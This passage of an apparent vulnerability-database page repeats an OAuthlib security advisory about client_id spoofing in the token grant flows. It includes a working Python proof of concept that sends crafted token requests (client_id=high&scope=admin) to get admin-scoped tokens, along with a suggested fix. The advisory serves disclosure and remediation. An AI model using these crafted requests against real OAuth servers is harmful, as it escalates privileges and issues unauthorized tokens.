- https://github.com/oauthlib/oauthlib/blob/b3f9edffed6b370e3eb92721cea0da22ec7e18b9/oauthlib/common.py#L360-L397
The RequestValidator.authenticate_client() contract requires the integrator to authenticate the client and set request.client:
- https://github.com/oauthlib/oauthlib/blob/b3f9edffed6b370e3eb92721cea0da22ec7e18b9/oauthlib/oauth2/rfc6749/request_validator.py#L41-L66
For the client_credentials grant, OAuthlib authenticates the client, verifies that request.client has a client_id, then performs grant and scope validation before normalizing request.client_id from request.client.client_id:
- https://github.com/oauthlib/oauthlib/blob/b3f9edffed6b370e3eb92721cea0da22ec7e18b9/oauthlib/oauth2/rfc6749/grant_types/client_credentials.py#L106-L119
The problematic order is:
if not self.request_validator.authenticate_client(request):
...
elif not hasattr(request.client, 'client_id'):
...
self.validate_grant_type(request)
request.client_id = request.client_id or request.client.client_id
self.validate_scopes(request)
Because OAuthlib only fills request.client_id when it is missing, an attacker-supplied body value such as client_id=high survives even when request.client.client_id == "low".
The shared grant helper then authorizes using request.client_id, while passing the authenticated client object separately:
validate_grant_type(request.client_id, request.grant_type, request.client, request): https://github.com/oauthlib/oauthlib/blob/b3f9edffed6b370e3eb92721cea0da22ec7e18b9/oauthlib/oauth2/rfc6749/grant_types/base.py#L152-L162validate_scopes(request.client_id, request.scopes, request.client, request): https://github.com/oauthlib/oauthlib/blob/b3f9edffed6b370e3eb92721cea0da22ec7e18b9/oauthlib/oauth2/rfc6749/grant_types/base.py#L164-L176
The same identity split exists in the Resource Owner Password Credentials flow. After client authentication and user validation, OAuthlib validates the grant and scopes before replacing a missing request.client_id from request.client.client_id:
- https://github.com/oauthlib/oauthlib/blob/b3f9edffed6b370e3eb92721cea0da22ec7e18b9/oauthlib/oauth2/rfc6749/grant_types/resource_owner_password_credentials.py#L87-L97
- https://github.com/oauthlib/oauthlib/blob/b3f9edffed6b370e3eb92721cea0da22ec7e18b9/oauthlib/oauth2/rfc6749/grant_types/resource_owner_password_credentials.py#L178-L195
This creates an inconsistent identity state:
request.client.client_id == "low" # authenticated client
request.client_id == "high" # attacker-supplied request parameter
OAuthlib then calls application authorization hooks with both values, but uses the attacker-controlled request.client_id as the first-class client_id argument.
Impact
An authenticated lower-privilege confidential client can obtain tokens authorized under another client's grant and scope policy if the application's validator follows the RequestValidator API and authorizes by the client_id argument.
Concrete impact can include:
- issuing access tokens with scopes not assigned to the authenticated client;
- allowing a low-privilege client to use a grant type reserved for a higher-privilege client;
- persisting tokens under a spoofed
client_idwhile the authenticated client object is different.
This is a token authorization bypass, not an unauthenticated attack. The attacker needs valid credentials for one client.
PoC
Create the following files in an empty directory.
requirements.txt:
oauthlib==3.3.1
repro.py:
import base64
import json
from oauthlib.oauth2 import (
BearerToken,
ClientCredentialsGrant,
RequestValidator,
ResourceOwnerPasswordCredentialsGrant,
TokenEndpoint,
)
class Client:
def __init__(self, client_id):
self.client_id = client_id
CLIENTS = {
"low": {
"secret": "low-secret",
"grants": {"client_credentials", "password"},
"scopes": {"read"},
},
"high": {
"secret": "high-secret",
"grants": {"client_credentials", "password"},
"scopes": {"read", "admin"},
},
}
class DemoValidator(RequestValidator):
def __init__(self):
self.saved_tokens = []
def authenticate_client(self, request, *args, **kwargs):
authorization = request.headers.get("Authorization", "")
prefix = "Basic "
if not authorization.startswith(prefix):
return False
decoded = base64.b64decode(authorization[len(prefix):]).decode("utf-8")
client_id, secret = decoded.split(":", 1)
record = CLIENTS.get(client_id)
if record is None or record["secret"] != secret:
return False
# This is the authenticated client identity.
request.client = Client(client_id)
return True
def client_authentication_required(self, request, *args, **kwargs):
return True
def validate_grant_type(self, client_id, grant_type, client, request, *args, **kwargs):
record = CLIENTS.get(client_id)
return record is not None and grant_type in record["grants"]
def validate_scopes(self, client_id, scopes, client, request, *args, **kwargs):
record = CLIENTS.get(client_id)
return record is not None and set(scopes or []) <= record["scopes"]
def get_default_scopes(self, client_id, request, *args, **kwargs):
return []
def validate_user(self, username, password, client, request, *args, **kwargs):
if username == "alice" and password == "wonderland":
request.user = username
return True
return False
def save_bearer_token(self, token, request, *args, **kwargs):
self.saved_tokens.append({
"token": dict(token),
"authenticated_client_id": request.client.client_id,
"request_client_id": request.client_id,
"scopes": list(request.scopes or []),
})
validator = DemoValidator()
token = BearerToken(validator, expires_in=3600)
endpoint = TokenEndpoint(
default_grant_type="client_credentials",
default_token_type=token,
grant_types={
"client_credentials": ClientCredentialsGrant(validator),
"password": ResourceOwnerPasswordCredentialsGrant(validator),
},
)
def low_client_headers():
value = base64.b64encode(b"low:low-secret").decode("ascii")
return {"Authorization": f"Basic {value}"}
def token_request(body):
_headers, response_body, status = endpoint.create_token_response(
"https://auth.example/token",
body=body,
headers=low_client_headers(),
)
return status, json.loads(response_body)
def assert_rejected(label, body):
status, response = token_request(body)
print(label, status, response)
if status == 200:
raise SystemExit(f"{label}: expected rejection, got success")
def assert_spoofed_success(label, body):
status, response = token_request(body)
print(label, status, response)
if status != 200:
raise SystemExit(f"{label}: expected token, got {status} {response}")
if response.get("scope") != "admin":
raise SystemExit(f"{label}: expected admin scope, got {response}")
saved = validator.saved_tokens[-1]
if saved["authenticated_client_id"] != "low":
raise SystemExit(f"{label}: authenticated client changed unexpectedly: {saved}")
if saved["request_client_id"] != "high":
raise SystemExit(f"{label}: spoofed request client_id was not preserved: {saved}")
assert_rejected(
"control client_credentials as low requesting admin",
"grant_type=client_credentials&client_id=low&scope=admin",
)
assert_spoofed_success(
"spoofed client_credentials as low with client_id=high",
"grant_type=client_credentials&client_id=high&scope=admin",
)
assert_rejected(
"control password as low requesting admin",
"grant_type=password&client_id=low&username=alice&password=wonderland&scope=admin",
)
assert_spoofed_success(
"spoofed password as low with client_id=high",
"grant_type=password&client_id=high&username=alice&password=wonderland&scope=admin",
)
print("OAUTHLIB_CLIENT_ID_SPOOFING_CONFIRMED")
print(json.dumps(validator.saved_tokens, indent=2, sort_keys=True))
Run:
python -m venv .venv
. .venv/bin/activate
python -m pip install -r requirements.txt
python repro.py
Expected result:
control client_credentials as low requesting admin 400 {'error': 'invalid_scope'}
spoofed client_credentials as low with client_id=high 200 {'access_token': '...', 'expires_in': 3600, 'token_type': 'Bearer', 'scope': 'admin'}
control password as low requesting admin 400 {'error': 'invalid_scope'}
spoofed password as low with client_id=high 200 {'access_token': '...', 'expires_in': 3600, 'token_type': 'Bearer', 'scope': 'admin', 'refresh_token': '...'}
OAUTHLIB_CLIENT_ID_SPOOFING_CONFIRMED
The success condition is that both successful token responses are produced while the saved token state shows:
{
"authenticated_client_id": "low",
"request_client_id": "high",
"scopes": ["admin"]
}
That demonstrates that the authenticated client is low, while grant and scope authorization used the attacker-supplied client_id=high.
Suggested Remediation
After client authentication succeeds, OAuthlib should reject a token request if an explicit request client_id is present and does not match request.client.client_id.
For authenticated confidential-client flows, a safer invariant is:
if request.client is not None:
if request.client_id is not None and request.client_id != request.client.client_id:
raise InvalidClientError(...)
request.client_id = request.client.client_id
This should happen before validate_grant_type() and validate_scopes() are called.
Reporters:
- liyi.zhou@sydney.edu.au (Liyi), https://lzhou1110.github.io/
- ziyue0530@gmail.com (Ziyue), https://zyy0530.github.io/
- cshe0476@uni.sydney.edu.au (Strick), https://str1ckl4nd.github.io/
- chng0012@uni.sydney.edu.au (Maurice), http://maurice.busystar.org/
- cyu210608@gmail.com (Chenchen), https://7thparkk.github.io/
| URL | Type | |||||||||||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
|
||||||||||||||||||||
{
"affected": [
{
"ecosystem_specific": {
"fix": null,
"range_state": "affected",
"resource": "oauthlib",
"resource_purl": "pkg:pypi/oauthlib@3.3.1",
"upstream_fixed_in": "4.0.0"
},
"package": {
"ecosystem": "Homebrew",
"name": "ansible@10",
"purl": "pkg:brew/ansible%4010"
},
"ranges": [
{
"events": [
{
"introduced": "10.6.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"database_specific": {
"confidence": "high",
"source": "matched",
"strategy": "registry",
"upstream_evidence": [
{
"ecosystem": "PyPI",
"key": "pkg:pypi/oauthlib@3.3.1",
"name": "oauthlib",
"resource": "oauthlib",
"strategy": "registry",
"subject_version": "3.3.1"
}
]
},
"details": "## Summary\n\nOAuthlib\u0027s token grant handlers can authenticate one client while authorizing the grant type and requested scopes using a different, attacker-supplied `client_id` from the request body.\n\nIn affected token grant flows, `authenticate_client(request)` sets `request.client` to the authenticated client object, but OAuthlib does not require `request.client_id` to match `request.client.client_id`. If the request body already contains `client_id=...`, OAuthlib keeps that value and passes it to `validate_grant_type()` and `validate_scopes()`.\n\nAs a result, an authenticated low-privilege confidential client can authenticate as itself, submit another client\u0027s `client_id` in the token request body, and cause grant and scope validation to run under that other client identity.\n\n## Affected Surface\n\nThe affected public surface is the OAuth2 token endpoint handling for:\n\n- `client_credentials`\n- `password` / Resource Owner Password Credentials\n\nThe issue is relevant to OAuthlib provider deployments where:\n\n- the attacker has credentials for one valid lower-privilege confidential client;\n- another client has broader grants or scopes;\n- the application validator uses the `client_id` argument passed by OAuthlib in `validate_grant_type()` or `validate_scopes()`, as the `RequestValidator` API is designed to support.\n\nDeployments whose validators ignore the `client_id` argument and authorize only from `request.client` may not be affected.\n\n## Details\n\n`Request` parses query and body parameters into request attributes, including `client_id`:\n\n- https://github.com/oauthlib/oauthlib/blob/b3f9edffed6b370e3eb92721cea0da22ec7e18b9/oauthlib/common.py#L360-L397\n\nThe `RequestValidator.authenticate_client()` contract requires the integrator to authenticate the client and set `request.client`:\n\n- https://github.com/oauthlib/oauthlib/blob/b3f9edffed6b370e3eb92721cea0da22ec7e18b9/oauthlib/oauth2/rfc6749/request_validator.py#L41-L66\n\nFor the `client_credentials` grant, OAuthlib authenticates the client, verifies that `request.client` has a `client_id`, then performs grant and scope validation before normalizing `request.client_id` from `request.client.client_id`:\n\n- https://github.com/oauthlib/oauthlib/blob/b3f9edffed6b370e3eb92721cea0da22ec7e18b9/oauthlib/oauth2/rfc6749/grant_types/client_credentials.py#L106-L119\n\nThe problematic order is:\n\n```python\nif not self.request_validator.authenticate_client(request):\n ...\nelif not hasattr(request.client, \u0027client_id\u0027):\n ...\n\nself.validate_grant_type(request)\n\nrequest.client_id = request.client_id or request.client.client_id\nself.validate_scopes(request)\n```\n\nBecause OAuthlib only fills `request.client_id` when it is missing, an attacker-supplied body value such as `client_id=high` survives even when `request.client.client_id == \"low\"`.\n\nThe shared grant helper then authorizes using `request.client_id`, while passing the authenticated client object separately:\n\n- `validate_grant_type(request.client_id, request.grant_type, request.client, request)`: https://github.com/oauthlib/oauthlib/blob/b3f9edffed6b370e3eb92721cea0da22ec7e18b9/oauthlib/oauth2/rfc6749/grant_types/base.py#L152-L162\n- `validate_scopes(request.client_id, request.scopes, request.client, request)`: https://github.com/oauthlib/oauthlib/blob/b3f9edffed6b370e3eb92721cea0da22ec7e18b9/oauthlib/oauth2/rfc6749/grant_types/base.py#L164-L176\n\nThe same identity split exists in the Resource Owner Password Credentials flow. After client authentication and user validation, OAuthlib validates the grant and scopes before replacing a missing `request.client_id` from `request.client.client_id`:\n\n- https://github.com/oauthlib/oauthlib/blob/b3f9edffed6b370e3eb92721cea0da22ec7e18b9/oauthlib/oauth2/rfc6749/grant_types/resource_owner_password_credentials.py#L87-L97\n- https://github.com/oauthlib/oauthlib/blob/b3f9edffed6b370e3eb92721cea0da22ec7e18b9/oauthlib/oauth2/rfc6749/grant_types/resource_owner_password_credentials.py#L178-L195\n\nThis creates an inconsistent identity state:\n\n```text\nrequest.client.client_id == \"low\" # authenticated client\nrequest.client_id == \"high\" # attacker-supplied request parameter\n```\n\nOAuthlib then calls application authorization hooks with both values, but uses the attacker-controlled `request.client_id` as the first-class `client_id` argument.\n\n## Impact\n\nAn authenticated lower-privilege confidential client can obtain tokens authorized under another client\u0027s grant and scope policy if the application\u0027s validator follows the `RequestValidator` API and authorizes by the `client_id` argument.\n\nConcrete impact can include:\n\n- issuing access tokens with scopes not assigned to the authenticated client;\n- allowing a low-privilege client to use a grant type reserved for a higher-privilege client;\n- persisting tokens under a spoofed `client_id` while the authenticated client object is different.\n\nThis is a token authorization bypass, not an unauthenticated attack. The attacker needs valid credentials for one client.\n\n## PoC\n\nCreate the following files in an empty directory.\n\n`requirements.txt`:\n\n```text\noauthlib==3.3.1\n```\n\n`repro.py`:\n\n```python\nimport base64\nimport json\n\nfrom oauthlib.oauth2 import (\n BearerToken,\n ClientCredentialsGrant,\n RequestValidator,\n ResourceOwnerPasswordCredentialsGrant,\n TokenEndpoint,\n)\n\n\nclass Client:\n def __init__(self, client_id):\n self.client_id = client_id\n\n\nCLIENTS = {\n \"low\": {\n \"secret\": \"low-secret\",\n \"grants\": {\"client_credentials\", \"password\"},\n \"scopes\": {\"read\"},\n },\n \"high\": {\n \"secret\": \"high-secret\",\n \"grants\": {\"client_credentials\", \"password\"},\n \"scopes\": {\"read\", \"admin\"},\n },\n}\n\n\nclass DemoValidator(RequestValidator):\n def __init__(self):\n self.saved_tokens = []\n\n def authenticate_client(self, request, *args, **kwargs):\n authorization = request.headers.get(\"Authorization\", \"\")\n prefix = \"Basic \"\n if not authorization.startswith(prefix):\n return False\n\n decoded = base64.b64decode(authorization[len(prefix):]).decode(\"utf-8\")\n client_id, secret = decoded.split(\":\", 1)\n record = CLIENTS.get(client_id)\n if record is None or record[\"secret\"] != secret:\n return False\n\n # This is the authenticated client identity.\n request.client = Client(client_id)\n return True\n\n def client_authentication_required(self, request, *args, **kwargs):\n return True\n\n def validate_grant_type(self, client_id, grant_type, client, request, *args, **kwargs):\n record = CLIENTS.get(client_id)\n return record is not None and grant_type in record[\"grants\"]\n\n def validate_scopes(self, client_id, scopes, client, request, *args, **kwargs):\n record = CLIENTS.get(client_id)\n return record is not None and set(scopes or []) \u003c= record[\"scopes\"]\n\n def get_default_scopes(self, client_id, request, *args, **kwargs):\n return []\n\n def validate_user(self, username, password, client, request, *args, **kwargs):\n if username == \"alice\" and password == \"wonderland\":\n request.user = username\n return True\n return False\n\n def save_bearer_token(self, token, request, *args, **kwargs):\n self.saved_tokens.append({\n \"token\": dict(token),\n \"authenticated_client_id\": request.client.client_id,\n \"request_client_id\": request.client_id,\n \"scopes\": list(request.scopes or []),\n })\n\n\nvalidator = DemoValidator()\ntoken = BearerToken(validator, expires_in=3600)\nendpoint = TokenEndpoint(\n default_grant_type=\"client_credentials\",\n default_token_type=token,\n grant_types={\n \"client_credentials\": ClientCredentialsGrant(validator),\n \"password\": ResourceOwnerPasswordCredentialsGrant(validator),\n },\n)\n\n\ndef low_client_headers():\n value = base64.b64encode(b\"low:low-secret\").decode(\"ascii\")\n return {\"Authorization\": f\"Basic {value}\"}\n\n\ndef token_request(body):\n _headers, response_body, status = endpoint.create_token_response(\n \"https://auth.example/token\",\n body=body,\n headers=low_client_headers(),\n )\n return status, json.loads(response_body)\n\n\ndef assert_rejected(label, body):\n status, response = token_request(body)\n print(label, status, response)\n if status == 200:\n raise SystemExit(f\"{label}: expected rejection, got success\")\n\n\ndef assert_spoofed_success(label, body):\n status, response = token_request(body)\n print(label, status, response)\n if status != 200:\n raise SystemExit(f\"{label}: expected token, got {status} {response}\")\n if response.get(\"scope\") != \"admin\":\n raise SystemExit(f\"{label}: expected admin scope, got {response}\")\n\n saved = validator.saved_tokens[-1]\n if saved[\"authenticated_client_id\"] != \"low\":\n raise SystemExit(f\"{label}: authenticated client changed unexpectedly: {saved}\")\n if saved[\"request_client_id\"] != \"high\":\n raise SystemExit(f\"{label}: spoofed request client_id was not preserved: {saved}\")\n\n\nassert_rejected(\n \"control client_credentials as low requesting admin\",\n \"grant_type=client_credentials\u0026client_id=low\u0026scope=admin\",\n)\nassert_spoofed_success(\n \"spoofed client_credentials as low with client_id=high\",\n \"grant_type=client_credentials\u0026client_id=high\u0026scope=admin\",\n)\n\nassert_rejected(\n \"control password as low requesting admin\",\n \"grant_type=password\u0026client_id=low\u0026username=alice\u0026password=wonderland\u0026scope=admin\",\n)\nassert_spoofed_success(\n \"spoofed password as low with client_id=high\",\n \"grant_type=password\u0026client_id=high\u0026username=alice\u0026password=wonderland\u0026scope=admin\",\n)\n\nprint(\"OAUTHLIB_CLIENT_ID_SPOOFING_CONFIRMED\")\nprint(json.dumps(validator.saved_tokens, indent=2, sort_keys=True))\n```\n\nRun:\n\n```bash\npython -m venv .venv\n. .venv/bin/activate\npython -m pip install -r requirements.txt\npython repro.py\n```\n\nExpected result:\n\n```text\ncontrol client_credentials as low requesting admin 400 {\u0027error\u0027: \u0027invalid_scope\u0027}\nspoofed client_credentials as low with client_id=high 200 {\u0027access_token\u0027: \u0027...\u0027, \u0027expires_in\u0027: 3600, \u0027token_type\u0027: \u0027Bearer\u0027, \u0027scope\u0027: \u0027admin\u0027}\ncontrol password as low requesting admin 400 {\u0027error\u0027: \u0027invalid_scope\u0027}\nspoofed password as low with client_id=high 200 {\u0027access_token\u0027: \u0027...\u0027, \u0027expires_in\u0027: 3600, \u0027token_type\u0027: \u0027Bearer\u0027, \u0027scope\u0027: \u0027admin\u0027, \u0027refresh_token\u0027: \u0027...\u0027}\nOAUTHLIB_CLIENT_ID_SPOOFING_CONFIRMED\n```\n\nThe success condition is that both successful token responses are produced while the saved token state shows:\n\n```json\n{\n \"authenticated_client_id\": \"low\",\n \"request_client_id\": \"high\",\n \"scopes\": [\"admin\"]\n}\n```\n\nThat demonstrates that the authenticated client is `low`, while grant and scope authorization used the attacker-supplied `client_id=high`.\n\n## Suggested Remediation\n\nAfter client authentication succeeds, OAuthlib should reject a token request if an explicit request `client_id` is present and does not match `request.client.client_id`.\n\nFor authenticated confidential-client flows, a safer invariant is:\n\n```python\nif request.client is not None:\n if request.client_id is not None and request.client_id != request.client.client_id:\n raise InvalidClientError(...)\n request.client_id = request.client.client_id\n```\n\nThis should happen before `validate_grant_type()` and `validate_scopes()` are called.\n\nReporters:\n\n- liyi.zhou@sydney.edu.au (Liyi), https://lzhou1110.github.io/\n- ziyue0530@gmail.com (Ziyue), https://zyy0530.github.io/\n- cshe0476@uni.sydney.edu.au (Strick), https://str1ckl4nd.github.io/\n- chng0012@uni.sydney.edu.au (Maurice), http://maurice.busystar.org/\n- cyu210608@gmail.com (Chenchen), https://7thparkk.github.io/",
"id": "BREW-ansible@10-CVE-2026-118669",
"modified": "2026-10-31T08:54:55Z",
"published": "2026-10-31T08:54:55Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/oauthlib/oauthlib/security/advisories/GHSA-7984-qgvg-3j9c"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-118669"
},
{
"type": "WEB",
"url": "https://github.com/oauthlib/oauthlib/pull/920"
},
{
"type": "WEB",
"url": "https://github.com/oauthlib/oauthlib/commit/c951a1d09f99f14e3240973fa83c4f4287d4753d"
},
{
"type": "PACKAGE",
"url": "https://github.com/oauthlib/oauthlib"
},
{
"type": "WEB",
"url": "https://github.com/oauthlib/oauthlib/releases/tag/v4.0.0"
}
],
"schema_version": "1.7.3",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:N/SC:H/SI:H/SA:N",
"type": "CVSS_V4"
}
],
"summary": "OAuthLib: Token grants can use attacker-supplied client_id for authorization after authenticating a different client",
"upstream": [
"GHSA-7984-qgvg-3j9c",
"CVE-2026-118669"
]
}
BREW-ANSIBLE@12-CVE-2026… (GHSA-7984-QGVG-3J9C)
Vulnerability from osv_homebrew – Published: 2026-10-31 08:33 – Updated: 2026-10-31 08:33 – Source websiteSummary
OAuthlib's token grant handlers can authenticate one client while authorizing the grant type and requested scopes using a different, attacker-supplied client_id from the request body.
In affected token grant flows, authenticate_client(request) sets request.client to the authenticated client object, but OAuthlib does not require request.client_id to match request.client.client_id. If the request body already contains client_id=..., OAuthlib keeps that value and passes it to validate_grant_type() and validate_scopes().
As a result, an authenticated low-privilege confidential client can authenticate as itself, submit another client's client_id in the token request body, and cause grant and scope validation to run under that other client identity.
Affected Surface
The affected public surface is the OAuth2 token endpoint handling for:
client_credentialspassword/ Resource Owner Password Credentials
The issue is relevant to OAuthlib provider deployments where:
- the attacker has credentials for one valid lower-privilege confidential client;
- another client has broader grants or scopes;
- the application validator uses the
client_idargument passed by OAuthlib invalidate_grant_type()orvalidate_scopes(), as theRequestValidatorAPI is designed to support.
Deployments whose validators ignore the client_id argument and authorize only from request.client may not be affected.
Details
Request parses query and body parameters into request attributes, including client_id:
- https://github.com/oauthlib/oauthlib/blob/b3f9edffed6b370e3eb92721cea0da22ec7e18b9/oauthlib/common.py#L360-L397
The RequestValidator.authenticate_client() contract requires the integrator to authenticate the client and set request.client:
- https://github.com/oauthlib/oauthlib/blob/b3f9edffed6b370e3eb92721cea0da22ec7e18b9/oauthlib/oauth2/rfc6749/request_validator.py#L41-L66
For the client_credentials grant, OAuthlib authenticates the client, verifies that request.client has a client_id, then performs grant and scope validation before normalizing request.client_id from request.client.client_id:
- https://github.com/oauthlib/oauthlib/blob/b3f9edffed6b370e3eb92721cea0da22ec7e18b9/oauthlib/oauth2/rfc6749/grant_types/client_credentials.py#L106-L119
The problematic order is:
if not self.request_validator.authenticate_client(request):
...
elif not hasattr(request.client, 'client_id'):
...
self.validate_grant_type(request)
request.client_id = request.client_id or request.client.client_id
self.validate_scopes(request)
Because OAuthlib only fills request.client_id when it is missing, an attacker-supplied body value such as client_id=high survives even when request.client.client_id == "low".
The shared grant helper then authorizes using request.client_id, while passing the authenticated client object separately:
validate_grant_type(request.client_id, request.grant_type, request.client, request): https://github.com/oauthlib/oauthlib/blob/b3f9edffed6b370e3eb92721cea0da22ec7e18b9/oauthlib/oauth2/rfc6749/grant_types/base.py#L152-L162validate_scopes(request.client_id, request.scopes, request.client, request): https://github.com/oauthlib/oauthlib/blob/b3f9edffed6b370e3eb92721cea0da22ec7e18b9/oauthlib/oauth2/rfc6749/grant_types/base.py#L164-L176
The same identity split exists in the Resource Owner Password Credentials flow. After client authentication and user validation, OAuthlib validates the grant and scopes before replacing a missing request.client_id from request.client.client_id:
- https://github.com/oauthlib/oauthlib/blob/b3f9edffed6b370e3eb92721cea0da22ec7e18b9/oauthlib/oauth2/rfc6749/grant_types/resource_owner_password_credentials.py#L87-L97
- https://github.com/oauthlib/oauthlib/blob/b3f9edffed6b370e3eb92721cea0da22ec7e18b9/oauthlib/oauth2/rfc6749/grant_types/resource_owner_password_credentials.py#L178-L195
This creates an inconsistent identity state:
request.client.client_id == "low" # authenticated client
request.client_id == "high" # attacker-supplied request parameter
OAuthlib then calls application authorization hooks with both values, but uses the attacker-controlled request.client_id as the first-class client_id argument.
Impact
An authenticated lower-privilege confidential client can obtain tokens authorized under another client's grant and scope policy if the application's validator follows the RequestValidator API and authorizes by the client_id argument.
Concrete impact can include:
- issuing access tokens with scopes not assigned to the authenticated client;
- allowing a low-privilege client to use a grant type reserved for a higher-privilege client;
- persisting tokens under a spoofed
client_idwhile the authenticated client object is different.
This is a token authorization bypass, not an unauthenticated attack. The attacker needs valid credentials for one client.
PoC
Create the following files in an empty directory.
requirements.txt:
oauthlib==3.3.1
repro.py:
import base64
import json
from oauthlib.oauth2 import (
BearerToken,
ClientCredentialsGrant,
RequestValidator,
ResourceOwnerPasswordCredentialsGrant,
TokenEndpoint,
)
class Client:
def __init__(self, client_id):
self.client_id = client_id
CLIENTS = {
"low": {
"secret": "low-secret",
"grants": {"client_credentials", "password"},
"scopes": {"read"},
},
"high": {
"secret": "high-secret",
"grants": {"client_credentials", "password"},
"scopes": {"read", "admin"},
},
}
class DemoValidator(RequestValidator):
def __init__(self):
self.saved_tokens = []
def authenticate_client(self, request, *args, **kwargs):
authorization = request.headers.get("Authorization", "")
prefix = "Basic "
if not authorization.startswith(prefix):
return False
decoded = base64.b64decode(authorization[len(prefix):]).decode("utf-8")
client_id, secret = decoded.split(":", 1)
record = CLIENTS.get(client_id)
if record is None or record["secret"] != secret:
return False
# This is the authenticated client identity.
request.client = Client(client_id)
return True
def client_authentication_required(self, request, *args, **kwargs):
return True
def validate_grant_type(self, client_id, grant_type, client, request, *args, **kwargs):
record = CLIENTS.get(client_id)
return record is not None and grant_type in record["grants"]
def validate_scopes(self, client_id, scopes, client, request, *args, **kwargs):
record = CLIENTS.get(client_id)
return record is not None and set(scopes or []) <= record["scopes"]
def get_default_scopes(self, client_id, request, *args, **kwargs):
return []
def validate_user(self, username, password, client, request, *args, **kwargs):
if username == "alice" and password == "wonderland":
request.user = username
return True
return False
def save_bearer_token(self, token, request, *args, **kwargs):
self.saved_tokens.append({
"token": dict(token),
"authenticated_client_id": request.client.client_id,
"request_client_id": request.client_id,
"scopes": list(request.scopes or []),
})
validator = DemoValidator()
token = BearerToken(validator, expires_in=3600)
endpoint = TokenEndpoint(
default_grant_type="client_credentials",
default_token_type=token,
grant_types={
"client_credentials": ClientCredentialsGrant(validator),
"password": ResourceOwnerPasswordCredentialsGrant(validator),
},
)
def low_client_headers():
value = base64.b64encode(b"low:low-secret").decode("ascii")
return {"Authorization": f"Basic {value}"}
def token_request(body):
_headers, response_body, status = endpoint.create_token_response(
"https://auth.example/token",
body=body,
headers=low_client_headers(),
)
return status, json.loads(response_body)
def assert_rejected(label, body):
status, response = token_request(body)
print(label, status, response)
if status == 200:
raise SystemExit(f"{label}: expected rejection, got success")
def assert_spoofed_success(label, body):
status, response = token_request(body)
print(label, status, response)
if status != 200:
raise SystemExit(f"{label}: expected token, got {status} {response}")
if response.get("scope") != "admin":
raise SystemExit(f"{label}: expected admin scope, got {response}")
saved = validator.saved_tokens[-1]
if saved["authenticated_client_id"] != "low":
raise SystemExit(f"{label}: authenticated client changed unexpectedly: {saved}")
if saved["request_client_id"] != "high":
raise SystemExit(f"{label}: spoofed request client_id was not preserved: {saved}")
assert_rejected(
"control client_credentials as low requesting admin",
"grant_type=client_credentials&client_id=low&scope=admin",
)
assert_spoofed_success(
"spoofed client_credentials as low with client_id=high",
"grant_type=client_credentials&client_id=high&scope=admin",
)
assert_rejected(
"control password as low requesting admin",
"grant_type=password&client_id=low&username=alice&password=wonderland&scope=admin",
)
assert_spoofed_success(
"spoofed password as low with client_id=high",
"grant_type=password&client_id=high&username=alice&password=wonderland&scope=admin",
)
print("OAUTHLIB_CLIENT_ID_SPOOFING_CONFIRMED")
print(json.dumps(validator.saved_tokens, indent=2, sort_keys=True))
Run:
python -m venv .venv
. .venv/bin/activate
python -m pip install -r requirements.txt
python repro.py
Expected result:
control client_credentials as low requesting admin 400 {'error': 'invalid_scope'}
spoofed client_credentials as low with client_id=high 200 {'access_token': '...', 'expires_in': 3600, 'token_type': 'Bearer', 'scope': 'admin'}
control password as low requesting admin 400 {'error': 'invalid_scope'}
spoofed password as low with client_id=high 200 {'access_token': '...', 'expires_in': 3600, 'token_type': 'Bearer', 'scope': 'admin', 'refresh_token': '...'}
OAUTHLIB_CLIENT_ID_SPOOFING_CONFIRMED
The success condition is that both successful token responses are produced while the saved token state shows:
{
"authenticated_client_id": "low",
"request_client_id": "high",
"scopes": ["admin"]
}
That demonstrates that the authenticated client is low, while grant and scope authorization used the attacker-supplied client_id=high.
Suggested Remediation
After client authentication succeeds, OAuthlib should reject a token request if an explicit request client_id is present and does not match request.client.client_id.
For authenticated confidential-client flows, a safer invariant is:
if request.client is not None:
if request.client_id is not None and request.client_id != request.client.client_id:
raise InvalidClientError(...)
request.client_id = request.client.client_id
This should happen before validate_grant_type() and validate_scopes() are called.
Reporters:
- liyi.zhou@sydney.edu.au (Liyi), https://lzhou1110.github.io/
- ziyue0530@gmail.com (Ziyue), https://zyy0530.github.io/
- cshe0476@uni.sydney.edu.au (Strick), https://str1ckl4nd.github.io/
- chng0012@uni.sydney.edu.au (Maurice), http://maurice.busystar.org/
- cyu210608@gmail.com (Chenchen), https://7thparkk.github.io/
| URL | Type | |||||||||||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
|
||||||||||||||||||||
{
"affected": [
{
"ecosystem_specific": {
"fix": null,
"range_state": "affected",
"resource": "oauthlib",
"resource_purl": "pkg:pypi/oauthlib@3.3.1",
"upstream_fixed_in": "4.0.0"
},
"package": {
"ecosystem": "Homebrew",
"name": "ansible@12",
"purl": "pkg:brew/ansible%4012"
},
"ranges": [
{
"events": [
{
"introduced": "12.2.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"database_specific": {
"confidence": "high",
"source": "matched",
"strategy": "registry",
"upstream_evidence": [
{
"ecosystem": "PyPI",
"key": "pkg:pypi/oauthlib@3.3.1",
"name": "oauthlib",
"resource": "oauthlib",
"strategy": "registry",
"subject_version": "3.3.1"
}
]
},
"details": "## Summary\n\nOAuthlib\u0027s token grant handlers can authenticate one client while authorizing the grant type and requested scopes using a different, attacker-supplied `client_id` from the request body.\n\nIn affected token grant flows, `authenticate_client(request)` sets `request.client` to the authenticated client object, but OAuthlib does not require `request.client_id` to match `request.client.client_id`. If the request body already contains `client_id=...`, OAuthlib keeps that value and passes it to `validate_grant_type()` and `validate_scopes()`.\n\nAs a result, an authenticated low-privilege confidential client can authenticate as itself, submit another client\u0027s `client_id` in the token request body, and cause grant and scope validation to run under that other client identity.\n\n## Affected Surface\n\nThe affected public surface is the OAuth2 token endpoint handling for:\n\n- `client_credentials`\n- `password` / Resource Owner Password Credentials\n\nThe issue is relevant to OAuthlib provider deployments where:\n\n- the attacker has credentials for one valid lower-privilege confidential client;\n- another client has broader grants or scopes;\n- the application validator uses the `client_id` argument passed by OAuthlib in `validate_grant_type()` or `validate_scopes()`, as the `RequestValidator` API is designed to support.\n\nDeployments whose validators ignore the `client_id` argument and authorize only from `request.client` may not be affected.\n\n## Details\n\n`Request` parses query and body parameters into request attributes, 